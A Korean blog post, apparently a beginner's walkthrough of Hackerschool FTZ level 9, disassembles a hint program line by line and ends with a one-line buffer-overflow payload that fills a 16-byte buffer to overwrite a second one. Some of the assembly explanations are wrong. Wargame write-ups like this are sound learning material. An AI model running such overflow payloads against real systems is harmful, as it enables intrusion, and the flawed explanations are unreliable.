hint를 배껴와서 tmp폴더에 level9.c를 만들었습니다.

그리고 vi편집기로 한글을 모두 제외한후에 

tmp폴더에다가 컴파일햇습니다

자 이렇게 열어버렸습니다 . 

이제 위에서부터 해석을 해볼까요 

push ebp                     - 스택의 기준점을 설정해주었다.

mov ebp , esp              - esp 값을 ebp에 복사하였다 이로써 base pointer와 stack pointer가 같은 지점을 가르치게 된다 

sub  esp,0x28               - ESP 에서 28을 빼는 명령이다. ESP는 28바이트 아래 지점을 가리키게 되고 스택에 8바이트의 공간이 생기게 된다 .(스택이 8 바이트 학장되었다.)    

and  esp,0xfffffff0          - ESP의 주소 값의 맨 뒤 4bit를 0으로 만들기 위한 명령어 큰 의미는 없다.

mov eax,0x0                 - EAX 레지스터에 0을 넣는다.

sub  esp,eax                 - ESP에 들어 있는 값에서 EAX에 들어 있는 값만큼 뺀다 stack pointer를 EAX만큼 확장시키는것이다. ( 0이 들어가 있으므로 별 의미는 없음)

sub  esp,0xc                  - 스택을 12바이트 만큼 확장한다.

push 0x8048554             - 0x8048554를 현재 스택에 저장한다 .

call  0x8048350 <printf>  - 0x8048350에 있는 명령을 수행하라는 뜻이다 printf가 들어있다.

add esp, 0x10                - 스택을 16바이트 줄입니다.

sub esp, 0x4                  - 스택을 4바이트만큼 확장한다 

push ds:0x8049698         -  0x08049698라는 (실제로 사용,존재하는) 값을 넣는다 

push 0x28                     -  esp에 40바이트값만큼을 저장하고 스택을 4바이트 확장한다

lea   eax, [ebp-40]          -   eax에 ebp-40에 저장되있는 값을 mov 한다

push eax                       - eax를 집어넣는다.

call 0x8048320 <fgets>    -  0x8048320에 있는 명령을 수행한다 .

add esp,0x10                 - 스택을 16바이트 줄입니다.

sub esp,0x4                   - 스택을 4바이트 만큼 확장합니다.

push  0x2                     -  스택에 2바이트를 집어넣습니다

push 0x804856a            -  스택에 0x804856a값을 집어 넣는다 

lea  eax,[ebp-24]           - eax에 ebp-24에 저장되있는 값을 mov한다 .

push eax                     - eax를 집어넣는다.


우와 이렇게 해석이 다 끝낫네요 초보자인 저에겐 너무나도 어려웠습니다.

lea 부분들을 보시면 40  > 24 이렇게 바뀌죠 ? 즉 16바이트 씩을 할당 받는다는것을 알 수 있습니다!

buf2에 넘어가도록 buf에 16개를 때려박은후에 buf2에 넘어가는 초기 2바이트를 go로 넣어봅시다!

python -c 'print "A"*16+"go"';cat)|/usr/bin/bof 라는 명령어를 입력하여서 풀면됩니다!

'해커스쿨 ftz' 카테고리의 다른 글

FTZ - LEVEL11  (0) 2016.04.15
FTZ - LEVEL 10  (0) 2016.04.15
FTZ - LEVEL9 (소스)  (0) 2016.04.10
FTZ - LEVEL8  (0) 2016.04.10
FTZ - LEVEL7  (0) 2016.04.10

+ Recent posts